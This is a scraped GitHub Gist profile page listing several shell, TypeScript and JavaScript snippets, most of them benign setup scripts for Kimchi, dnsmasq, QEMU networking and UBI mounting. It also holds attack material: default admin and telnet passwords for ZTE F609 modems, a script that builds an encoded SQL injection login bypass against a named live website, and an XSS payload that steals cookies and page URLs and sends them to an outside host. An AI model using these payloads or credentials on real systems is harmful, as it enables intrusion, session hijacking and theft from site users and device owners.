Skip to content

Instantly share code, notes, and snippets.

Avatar
💭
I'm programer and I have wife 😄

Mochamad Arifin ndunks

💭
I'm programer and I have wife 😄
View GitHub Profile
@ndunks
ndunks / install-kimchi-ubuntu18.04.sh
Created May 12, 2018
Install kimchi on ubuntu 18.04 bionic
View install-kimchi-ubuntu18.04.sh
#For Indonesian server
#locale fix
sudo locale-gen id_ID.UTF-8
#change miror
sudo sed -i_old 's/archive.ubuntu.com/kambing.ui.ac.id/' /etc/apt/sources.list
sudo apt update
#INSTALL WOK
#build depencies
@ndunks
ndunks / dnsmasq-dhcpserver.sh
Last active Jun 15, 2020
dnsmasq DHCP Server Example and logging
View dnsmasq-dhcpserver.sh
#!/bin/bash
if [ -z "$1" ]; then
IFACE=`ip l | grep ^2: | cut -d ' ' -f2`
# remove last ':'
IFACE=${IFACE::-1}
else
IFACE="$1"
fi
echo "Setup dnsmasq on $IFACE"
@ndunks
ndunks / modem-indihome-zte
Created Mar 21, 2018
Default login telnet/webuser modem indihome ZTE F609
View modem-indihome-zte
webuser
=======
admin:admin
admin:Telkomdso123
user:user
telnet
======
root:Zte521
View temp.sh
``` bash
TOKEN="\' or true -- -"
USER="\' or true ORDER BY point_reward DESC limit 1 -- -"
DATA=$( printf "$TOKEN||$USER" | base64 -w 0 | sed s/=/%3D/ | sed s/\\//%2F/ )
echo "https://dewafortune.net/auth/login_campaign.php?data=$DATA"
```
@ndunks
ndunks / qemulate.sh
Created Apr 30, 2020
Qemu Change Hardisk Serial Number and Model
View qemulate.sh
sudo qemu-system-i386 \
-m 512 \
-smp 1 \
-enable-kvm \
-drive if=none,id=disk00,format=qcow2,file=tmp/disk1.qcow2 \
-device "ide-hd,drive=disk00,bus=ide.0,serial=00000000000000000001,model=VMware Virtual IDE Hard Drive" \
-nic tap
@ndunks
ndunks / qemu-linux-host-to-guest-bridge.md
Created Mar 30, 2020
Qemu Linux setup host to guest network connection using bridge
View qemu-linux-host-to-guest-bridge.md
sudo su
brctl addbr br0
ip addr add 192.168.3.100/24 dev br0
ip link set br0 up
[ -d /etc/qemu ] || mkdir /etc/qemu
touch /etc/qemu/bridge.conf
echo "allow br0" >> /etc/qemu/bridge.conf
@ndunks
ndunks / mount-ubi-using-mtdram.sh
Created Jul 19, 2018
How to mount UBI image using mtdram kernel module on linux/debian
View mount-ubi-using-mtdram.sh
#!/bin/bash
if [ ! -d files ]; then
# Make the content
echo "Generating root content.."
mkdir files
echo "$(date)" > files/date.txt
echo "Another content" > files/other.txt
fi
#These config are based by Nand device that you will use!
@ndunks
ndunks / email-getnada.spec.ts
Created Jun 27, 2019
Getnada email client API for browser with typescript implementation
View email-getnada.spec.ts
// Jasmine Standalone testing suite
import { GetnadaClient, ListResponse } from "./email-getnada";
(jasmine.getEnv() as any) .configure({random: false, oneFailurePerSpec: true, failFast: true});
let listResponse: ListResponse;
describe('Plugins testing getnada api client', () => {
const email = 'learner@getnada.com';
const api = new GetnadaClient(email);
@ndunks
ndunks / webpack.external.js
Created Jun 21, 2019
Get list of excluded module in webpak config
View webpack.external.js
module.exports = function(){
var fs = require("fs");
var nodeExternal = {};
var pkg = JSON.parse(fs.readFileSync('package.json', { encoding: 'utf-8' }));
Object.keys(pkg.dependencies).forEach(function (name) {
nodeExternal[name] = "require('" + name + "')";
});
Object.keys(pkg.devDependencies).filter(function (v) { return !v.match(/@types/); }).forEach(function (name) {
nodeExternal[name] = "require('" + name + "')";
});
@ndunks
ndunks / xss-ajax.js
Created Jan 29, 2019
XSS AJAX 3 Way
View xss-ajax.js
(function(w,d,u){
if(w['$'] && w['$'].post){
$.post(u,{u: d.location.href, c: d.cookie});
}else{
var fu = [u,'\x3f','u=',escape(d.location.href),'&c=',escape(d.cookie)].join('');
console.log('FU: ', fu);
function planB(){
el = d.createElement('img');
el.onerror = el.onload = function(){ el.remove() }
el.src=fu; d.body.append(el);